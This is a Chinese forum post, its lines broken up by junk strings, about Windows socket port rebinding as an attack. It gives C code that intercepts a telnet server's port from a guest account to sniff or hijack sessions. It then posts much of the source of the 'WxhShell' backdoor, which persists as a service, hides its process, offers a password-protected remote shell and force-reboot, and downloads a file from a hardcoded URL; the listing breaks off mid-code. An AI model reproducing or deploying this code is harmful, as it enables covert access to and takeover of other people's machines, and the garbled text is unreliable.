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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yPuT%H&i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3O$Q>.0w/  
-CxaOZG  
  saddr.sin_family = AF_INET; )<jj O  
~ dmyS?Or  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o- GHAQ  
&e2") 4oh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /|hKZTZJdN  
_H@S(!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uvZ|6cM  
"EhA _ =i  
  这意味着什么?意味着可以进行如下的攻击: 6XB9]it6  
"EHwv2Hm>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oXb}6YC  
[%Y Cupr#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o^5xCK:Oi2  
iQs(Dh=*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dt ;R  
H?^Poe(=(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,9  
+*F ;l\R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F&I^bkvh  
# l}Y1^PDd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y+j|T`d  
QnVYZUgJeV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \vojF\  
\%rX~UhZ=  
  #include E+F!u5u  
  #include y \V!OY@  
  #include =][[TH  
  #include    f~8Xue,l"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >`\~=ivrD  
  int main() 62a{Ggs{  
  { iv:[]o  
  WORD wVersionRequested; B-'Xk{  
  DWORD ret; (t fADaJM  
  WSADATA wsaData; 2 ;U(r: ]  
  BOOL val; 9boNB "h]T  
  SOCKADDR_IN saddr; |a/"7B|?\  
  SOCKADDR_IN scaddr; +qDudGI  
  int err; jSpmE  
  SOCKET s; ;S2^f;q~$  
  SOCKET sc; B0nkHm.Sj  
  int caddsize; Ws.F=kS>h  
  HANDLE mt; I@7^H48\  
  DWORD tid;   #.#T+B+9  
  wVersionRequested = MAKEWORD( 2, 2 ); WXaLKiA*(  
  err = WSAStartup( wVersionRequested, &wsaData ); M)( 5S1ndq  
  if ( err != 0 ) { {N/(lB8  
  printf("error!WSAStartup failed!\n"); O~l WFaW  
  return -1; f*LDrAf9  
  } ,7z.%g3+z  
  saddr.sin_family = AF_INET; bp;b;f>  
   eBBqF!WDb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mp>,TOi~s7  
E<D45C{DP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3|l+&LF!IC  
  saddr.sin_port = htons(23); T" XZ[q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -7$7TD`'7  
  { DMsxHAE1  
  printf("error!socket failed!\n"); QUwSnotgU  
  return -1; sHmzwvpLA  
  } iO>2#p8$NR  
  val = TRUE; +{4ziqYj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $5s?m\!jZz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pma'C\b>  
  { DF P0WXbOE  
  printf("error!setsockopt failed!\n"); xW!2[.O5H  
  return -1; ,*wa#[  
  } 3g^_Fq'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (Lp<T!"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ENr\+{{%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -Wb/3 X  
fu"#C}{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q% 2cx@c  
  { &X }GJLC3  
  ret=GetLastError(); Mx4 <F "9  
  printf("error!bind failed!\n"); 4&&((H  
  return -1; edx-R-Dc-1  
  } n2Q~fx<6%  
  listen(s,2); CcG{+-= H)  
  while(1) "+~La{ POc  
  { 'K"V{  
  caddsize = sizeof(scaddr); -1DQO|q#  
  //接受连接请求 M._9/ *C U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S[n ;u-U  
  if(sc!=INVALID_SOCKET) ;r B2Q H]  
  { U4w^eWzP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +.! F]0ju  
  if(mt==NULL) xi %u)p  
  { ~C\R!DN,  
  printf("Thread Creat Failed!\n"); ,Hlbl}.ls  
  break; iqRk\yq<  
  } Y1h8O%?  
  } [:&4Tp*C  
  CloseHandle(mt); WA \ P`'lg  
  } `07xW*K(\Y  
  closesocket(s); h;u8{t"  
  WSACleanup(); |$f.Qs~?  
  return 0; 9o@5:.b<j  
  }   /xUTm=w7u  
  DWORD WINAPI ClientThread(LPVOID lpParam) {U= Mfo?AH  
  { )! Jo7SR  
  SOCKET ss = (SOCKET)lpParam; yM`J+tq  
  SOCKET sc; Y(h86>z*w  
  unsigned char buf[4096]; ds}:t.3}6  
  SOCKADDR_IN saddr; ]+u`E  
  long num; lZCTthr\  
  DWORD val; 2_'{f1bVxz  
  DWORD ret; ^_0zO$z,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p2cwW/^V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |08b=aR6ro  
  saddr.sin_family = AF_INET; k)U9 %Pr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V^sZXdDNL  
  saddr.sin_port = htons(23); e`27 ?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qb'4x){  
  { h mC. 5mY  
  printf("error!socket failed!\n"); C2OBgM+  
  return -1; %{?EfULg  
  } X0wvOs:  
  val = 100; <$7HX/P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;~CAHn|Fe  
  { ve|ig]$5g<  
  ret = GetLastError(); `!V=~"ve  
  return -1; J$Uj@M  
  } mwU|Hh)N]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !6{; z/Hy  
  { Gi]R8?M  
  ret = GetLastError(); *DfwTbg|  
  return -1; 2l^hnog|  
  } VJviX[V?4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0' j/ 9vm  
  { m?G@#[ l  
  printf("error!socket connect failed!\n"); sl?> X)}  
  closesocket(sc); b9`vYnLk  
  closesocket(ss); Y_'3pX,  
  return -1; ,Q:Ylc8  
  } PWUS@I  
  while(1) zmaf@T  
  { m3[R   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;7=pNK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y<0}z>^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E "9`  
  num = recv(ss,buf,4096,0); OynQlQD/Eu  
  if(num>0) G)5R iRcs  
  send(sc,buf,num,0); 'y_<O|-  
  else if(num==0) s9^r[l@W0U  
  break; Ix~_.&  
  num = recv(sc,buf,4096,0); Lh`B5  
  if(num>0) \MhSIlM#  
  send(ss,buf,num,0); ,, S]_S  
  else if(num==0) ^phgNzD  
  break; P?WS=w*O0  
  } iwM$U( 9  
  closesocket(ss); &=ZVU\o:  
  closesocket(sc); )c432).Z  
  return 0 ; 9W5~I9%  
  } gu:8+/W8L  
-]hk2Q0  
my1FW,3  
========================================================== U0X,g(2'  
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下边附上一个代码,,WXhSHELL Y8l 8B>  
^UJB%l  
========================================================== KAkD" (!  
=Pj+^+UM  
#include "stdafx.h" |-+IF,j  
9pF@#A9p  
#include <stdio.h> OQ*BPmS-   
#include <string.h> EjY8g@M;t  
#include <windows.h> ECW=865jL  
#include <winsock2.h> ' v)@K0P  
#include <winsvc.h> -/)>DOgUq  
#include <urlmon.h> 4{zz-4=  
kfc5ra>&  
#pragma comment (lib, "Ws2_32.lib") v^A4%e<8^r  
#pragma comment (lib, "urlmon.lib") Sao4MkSz[]  
zv.R~lMtY  
#define MAX_USER   100 // 最大客户端连接数 E!Ljq3iT`  
#define BUF_SOCK   200 // sock buffer Q3h_4{w  
#define KEY_BUFF   255 // 输入 buffer .R";2f3  
U=ek_FO  
#define REBOOT     0   // 重启 z.vE RP56  
#define SHUTDOWN   1   // 关机 Q vc$D{z  
3fBV SFVS  
#define DEF_PORT   5000 // 监听端口 *Rx&#9  
qz_'v{uAj  
#define REG_LEN     16   // 注册表键长度 _dQg5CmlG  
#define SVC_LEN     80   // NT服务名长度 uPhL?s{  
G>@KX  
// 从dll定义API ;URvZ! {/Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #S4lRVt5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bfV&z+Rv-5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f$y`tT %o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k.5(d.*(  
`>1XL2  
// wxhshell配置信息 Bz+zEXBC  
struct WSCFG { Vd&&GI(:?^  
  int ws_port;         // 监听端口 fV(WUN+  
  char ws_passstr[REG_LEN]; // 口令 yw@kh^L  
  int ws_autoins;       // 安装标记, 1=yes 0=no ; <NK  
  char ws_regname[REG_LEN]; // 注册表键名 Ea,L04K  
  char ws_svcname[REG_LEN]; // 服务名 Tf*DFyr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j0wpaIp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V$?@ z>7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ye^*Z>|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q\moR^>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;}>g/lw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'W_u1l/  
>.=v*\P  
}; ~[@gu,Wb  
^Ay>%`hf*  
// default Wxhshell configuration UURYK~$K:  
struct WSCFG wscfg={DEF_PORT, 4roqD;5|~|  
    "xuhuanlingzhe", ,'Sj:l  
    1, MW|*Z{6*  
    "Wxhshell", ]. E/s(p  
    "Wxhshell", S*3*Q l*  
            "WxhShell Service", e0z(l/UB  
    "Wrsky Windows CmdShell Service", 1Qk]?R/DN  
    "Please Input Your Password: ", 3 BQZ[%0@  
  1, % |^V)  
  "http://www.wrsky.com/wxhshell.exe", 2{}8_G   
  "Wxhshell.exe" Q8Fqf ;4  
    }; <zWMTVaC  
W/@-i|v  
// 消息定义模块 T0e- X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; , G2( l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dTrz7ayH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [,0[\NC  
char *msg_ws_ext="\n\rExit."; Kl/n>qEt  
char *msg_ws_end="\n\rQuit."; UbDpSfub  
char *msg_ws_boot="\n\rReboot...";   -]. a0  
char *msg_ws_poff="\n\rShutdown..."; Dbg,|UH  
char *msg_ws_down="\n\rSave to "; V'^E'[Dd{  
/UG]hJ-wn  
char *msg_ws_err="\n\rErr!"; E=# O|[=  
char *msg_ws_ok="\n\rOK!"; M* 0zvNg  
HT%'dZ1  
char ExeFile[MAX_PATH]; OpD%lRl  
int nUser = 0; p#aB0H3  
HANDLE handles[MAX_USER]; zL!}YR@&u"  
int OsIsNt; S&J>15oWM`  
evvv&$&  
SERVICE_STATUS       serviceStatus; s+<`iH9Hm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xOt {Vsv  
%'w?fqk  
// 函数声明 @L,4JPk  
int Install(void); ty\F~]Oo  
int Uninstall(void); .%G>z"Xx  
int DownloadFile(char *sURL, SOCKET wsh); SpC6dkxD\  
int Boot(int flag); [/Sk+ID  
void HideProc(void); I} .9  
int GetOsVer(void); s H(io  
int Wxhshell(SOCKET wsl); JKTn  
void TalkWithClient(void *cs); w| eVl{~p  
int CmdShell(SOCKET sock); 1k0*WCfZ  
int StartFromService(void); :|a$[g5  
int StartWxhshell(LPSTR lpCmdLine); cH:9@>'$a  
Ay@/{RZz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 83!{?EPE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); - !QVM\t  
;DgQ8"f  
// 数据结构和表定义 "t)$4gERK  
SERVICE_TABLE_ENTRY DispatchTable[] = (91 YHhk{  
{  rrP_7D  
{wscfg.ws_svcname, NTServiceMain}, 8 RA  
{NULL, NULL} Q2Dh(  
}; _$KE E|9  
,4HZ-|EOZ  
// 自我安装 puAjAvIax  
int Install(void) Oq*;GR(Q  
{ N c(f+8  
  char svExeFile[MAX_PATH]; \7PC2IsT3  
  HKEY key; -&EU#Wqh  
  strcpy(svExeFile,ExeFile); A5E^1j}h@  
P%aNbMg  
// 如果是win9x系统,修改注册表设为自启动 ?*^HZ~O1  
if(!OsIsNt) { 37 b6w6{D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5t,X;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VDFs.;:s  
  RegCloseKey(key); 1*f*}M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8?hZ5QvA(j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _0|@B8!J?  
  RegCloseKey(key); 4^Og9}bm  
  return 0; Z+Cjg #+  
    } ~e _  
  } z?n6l7sH  
} pIHpjx  
else { ` >loleI  
cD t|v~  
// 如果是NT以上系统,安装为系统服务 12@Ge]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~gdnD4[G  
if (schSCManager!=0) ?sv[vR(  
{ y!c<P,Lt3f  
  SC_HANDLE schService = CreateService ws<p BC,m  
  ( .*B@1q  
  schSCManager, E[Q2ZqhgbP  
  wscfg.ws_svcname, wGw<z[:f  
  wscfg.ws_svcdisp, op($+Q  
  SERVICE_ALL_ACCESS, O7oq1JI]Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uD\rmO{  
  SERVICE_AUTO_START, 3 MCV?"0  
  SERVICE_ERROR_NORMAL, $ {e5Ka  
  svExeFile, biG :Xn  
  NULL, 3BSZz%va  
  NULL, }wZsM[NDB  
  NULL, :JU$ 6  
  NULL, ; +1ooeU  
  NULL 2^%O%Pc  
  ); S$=caZ?  
  if (schService!=0) J1w,;T\55  
  { Dy*K;e-+  
  CloseServiceHandle(schService); E|A~T7G=  
  CloseServiceHandle(schSCManager); z.|[g$F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OF0v0Y/a  
  strcat(svExeFile,wscfg.ws_svcname); jx}7/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XAN.Plk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {:#c1d2@8  
  RegCloseKey(key); N;a'`l  
  return 0; WfHa  
    } n lZJ}xZ  
  } A ^t _"J  
  CloseServiceHandle(schSCManager); @~}~;}0x  
} L}7 TM:%  
} U|<>xe*|%  
}`aT=_B  
return 1; g 'td(i[  
} ;9<?~S  
X%5 `B2Wu  
// 自我卸载 G8WPXj(  
int Uninstall(void) YU XxQ|  
{ x*p'm[Tdtm  
  HKEY key; N2 t`  
SmAii}-jf  
if(!OsIsNt) { kQp*+ras  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Fx3WryF  
  RegDeleteValue(key,wscfg.ws_regname); 2FY]o~@  
  RegCloseKey(key); CzI s_/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6n|][! f  
  RegDeleteValue(key,wscfg.ws_regname); _S,UpR~2W  
  RegCloseKey(key); Gx*B(t]4y  
  return 0; k;K-6<^h  
  } 0+k..l  
} +R7pdi  
} BSL+Gjj~}  
else { Fkg%_v$  
B.!&z-)#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c D .;  
if (schSCManager!=0) X3] [C  
{ 9e4`N"#,lI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QQ=Kj%R  
  if (schService!=0) 9Wg;M#c2Y|  
  { j'OXT<n*  
  if(DeleteService(schService)!=0) { At'M? Q@v  
  CloseServiceHandle(schService); f&txg,W,yv  
  CloseServiceHandle(schSCManager); e jR_3K^  
  return 0; \}\# fg  
  } O`I}Lg]~q  
  CloseServiceHandle(schService); ~~O4!|t  
  } 6ma.FvSIM  
  CloseServiceHandle(schSCManager); A]1dR\p  
} BSy{"K*M  
} O0s,)8+z5D  
W*?qOq {  
return 1; 3dJiu  
} )3O#T$h  
1]Cd fj6@  
// 从指定url下载文件 z "z  
int DownloadFile(char *sURL, SOCKET wsh) Mf !S'\  
{ bc NyB$S  
  HRESULT hr; \qTp#sF  
char seps[]= "/"; `l6OQdB3W  
char *token; 0~P]Fw^w  
char *file; ;mg.} fI  
char myURL[MAX_PATH];  FLZ9Rg  
char myFILE[MAX_PATH]; s:cJF  
#K*p1}rf  
strcpy(myURL,sURL); pNZ3vTs6  
  token=strtok(myURL,seps); *>HS>#S  
  while(token!=NULL) !E|R3e X_  
  { A'Z!l20_  
    file=token; k2fJ  
  token=strtok(NULL,seps); IwOL1\'T4  
  } (N/-blto  
x iz+ R9p  
GetCurrentDirectory(MAX_PATH,myFILE); p&#ju*i6z  
strcat(myFILE, "\\"); &g>M Z" Z|  
strcat(myFILE, file); cP4C<UG  
  send(wsh,myFILE,strlen(myFILE),0); @BPQ >  
send(wsh,"...",3,0); O S#RCN*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  w%::~]  
  if(hr==S_OK) Spu;   
return 0; l8:!{I?s=  
else qu!x#OY+  
return 1; 9I`0`o"A  
`gF`Sgz  
} 4E_u.tJ  
}gFa9M<  
// 系统电源模块 b4EUr SL  
int Boot(int flag) Y+kuj],h  
{ f,|;eF-Z  
  HANDLE hToken; Y^C(<N$  
  TOKEN_PRIVILEGES tkp; ,1cpV|mAr  
s];0-65)  
  if(OsIsNt) { _00}O+GLM4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [mNum3e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !vVW8hbp  
    tkp.PrivilegeCount = 1; kM@e_YtpY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bxO[y<|XL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :'xZF2  
if(flag==REBOOT) { {<a)+S.6U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4^k8| # c  
  return 0; Dx=RLiU9  
} 1r*yYm'  
else { s&+`>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q(WGvl^r  
  return 0; X}5"ZLa7l  
} Yakrsi/jV}  
  } XH0o8\.  
  else { y|i(~  
if(flag==REBOOT) { r_FI5f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u~ VXe  
  return 0; MmU`i ,z  
} WnU2.:  
else { qrjSG%i~J7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  j=G  
  return 0; Fe+(+ S  
} vO53?vN[m9  
} MxUQF?@6  
/?0|hi<_$  
return 1; #%8)'=1+4?  
} ;8f)p9vE  
("{vbs$;  
// win9x进程隐藏模块 XD?]+  
void HideProc(void) s<Nw)Ynw  
{ xls US'Eo  
nr8#;D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,aq>9\ pi  
  if ( hKernel != NULL ) +fKV/tSWi  
  { ;8 *"c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;CoD5F!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T00sYoK  
    FreeLibrary(hKernel); 5\O&pz@D  
  } ;Jb% 2?+=!  
PMX'vA`  
return; m(dW["8D  
} fZS'e{V  
R?,v:S&i7;  
// 获取操作系统版本 ew~uOG+  
int GetOsVer(void) 7/fJQM  
{ bD3d T>(+  
  OSVERSIONINFO winfo; K6)IBV;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I>w|80%%  
  GetVersionEx(&winfo); 'vZy-qHrV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EZVgTySd  
  return 1; <lU(9) L;&  
  else R#?atL$(  
  return 0; F9tWJJUsr  
} 53.jx38xS  
#6mw CA|  
// 客户端句柄模块 =h?%<2t9<  
int Wxhshell(SOCKET wsl) G(o6/  
{ +z#+}'mT%  
  SOCKET wsh; *lu*h&Y  
  struct sockaddr_in client; O*N:.|dUw  
  DWORD myID; 1W-kZ(e  
Lpnw(r9Y  
  while(nUser<MAX_USER) MSp) Jc  
{ F x$W3FIO]  
  int nSize=sizeof(client); YACx9K H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0LIXkF3^1  
  if(wsh==INVALID_SOCKET) return 1; |oX9SUl  
C43I(.2g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oml /;p  
if(handles[nUser]==0) kp!(e0n  
  closesocket(wsh); m]'+Eye ]r  
else ep`8LQf  
  nUser++; _5p]Arg?}&  
  } E@l@f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2#CN:b]+  
s0h0Ep ED  
  return 0; Sht3\cJ8  
} G=CP17&h6  
!c0x^,iE  
// 关闭 socket .<YfnW5/K  
void CloseIt(SOCKET wsh) 3RD+;^}q 3  
{ {A%&D^o)  
closesocket(wsh); u@+^lRGFh  
nUser--; hOs~/bM  
ExitThread(0); f'7/Wj  
} {}gL*2:EW$  
*IF ~ab2  
// 客户端请求句柄 *+2BZ ZwT  
void TalkWithClient(void *cs) Z^J)]UL/  
{ d7x6r3J$  
[iyhrc:@  
  SOCKET wsh=(SOCKET)cs; xk,1 D  
  char pwd[SVC_LEN]; RUut7[r  
  char cmd[KEY_BUFF]; p_fsEY  
char chr[1]; LJ9#!r@H  
int i,j; =+<DNW@%  
*13-)yfd  
  while (nUser < MAX_USER) { M0)ZJti  
Fa </  
if(wscfg.ws_passstr) { OU^I/TU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &sXk!!85:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D$D;'Kij  
  //ZeroMemory(pwd,KEY_BUFF); Pp4Q)2X  
      i=0; 8Bxb~*  
  while(i<SVC_LEN) { Q'j00/K  
46 |LIc }  
  // 设置超时 =NPo<^Lae  
  fd_set FdRead; h ^w# I  
  struct timeval TimeOut; S3QX{5t\  
  FD_ZERO(&FdRead); BHNJH  
  FD_SET(wsh,&FdRead); {n<1uh9~$8  
  TimeOut.tv_sec=8; U D5hk  
  TimeOut.tv_usec=0; |h((SreO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u)/i$N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'g} Q@@b  
q%1B4 mF'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qV``' _=<  
  pwd=chr[0]; Tv% Z|%*  
  if(chr[0]==0xd || chr[0]==0xa) { /"R{1  
  pwd=0; <BBSC  
  break; tqKX\N=5^  
  } iRv \:.aQ.  
  i++; +<f+kh2L  
    } jq|fI P  
I=YZ!*f/`  
  // 如果是非法用户,关闭 socket "Gq%^^ *  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^5FwYXAxi  
} wqX!7rD/g)  
-.Z;n1'^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Oek$f,J-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `YBHBTG'o!  
`#j;\  
while(1) { PBwKRD[I  
xP'"!d4^i  
  ZeroMemory(cmd,KEY_BUFF); G?:5L0g  
gA2]kZg  
      // 自动支持客户端 telnet标准   )Oj{x0{\Q  
  j=0; sX`by\s,  
  while(j<KEY_BUFF) { |~Vq"6`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &iJvkt  
  cmd[j]=chr[0]; RTL@WI  
  if(chr[0]==0xa || chr[0]==0xd) { WtMDHfwqu\  
  cmd[j]=0; 'puiahA  
  break; sHSg _/|  
  } 5hlS2fn  
  j++; N_VWA.JHt  
    } @4]dv> Z  
#/hXcF  
  // 下载文件 IBh?vh  
  if(strstr(cmd,"http://")) { )hfI,9I~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B+ZhQW  
  if(DownloadFile(cmd,wsh)) buMST&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #[~f 6s9D  
  else }SS~uQ;8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KFM)*Icg\8  
  } ~eekv5  
  else { % +M,FgW  
d{]2Q9g  
    switch(cmd[0]) { ?T'a{ ~]R  
  ey U*20  
  // 帮助 QY1|:(  
  case '?': { "^VPe[lA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (<Kf  
    break; LJ*W&y(2>Q  
  } 4ZT0~37(  
  // 安装 *k;%H'2g{}  
  case 'i': { QU)AgF[  
    if(Install()) $#J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N8m3 Wy  
    else &2pa9i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cN]g^  
    break; iE"+-z\U  
    } p8E6_%Rw  
  // 卸载 _%PEv{H0.  
  case 'r': { 7qhX `$  
    if(Uninstall()) H\=S_b1wo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -JXCO <~k  
    else 9Pdol!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;0O>$|kg  
    break; nSbcq>3  
    }  TsI%M  
  // 显示 wxhshell 所在路径 QbEb} Jt  
  case 'p': { cGv`%  
    char svExeFile[MAX_PATH]; XchVsA  
    strcpy(svExeFile,"\n\r"); wv&%09U  
      strcat(svExeFile,ExeFile); 'o ZdMl&  
        send(wsh,svExeFile,strlen(svExeFile),0); oP`Qyk  
    break; XWf1c ~J  
    } 9Cq"Szs  
  // 重启 W JG8E7  
  case 'b': { Y:]m~-T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tS3{y*yi  
    if(Boot(REBOOT)) [R{%r^"2p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z!oq2,ia  
    else { - D^v:aC  
    closesocket(wsh); %j;mDR9 5  
    ExitThread(0); K,f- w2!  
    } VNxhv!w  
    break; ac/<N%  
    } 4+B OS ~  
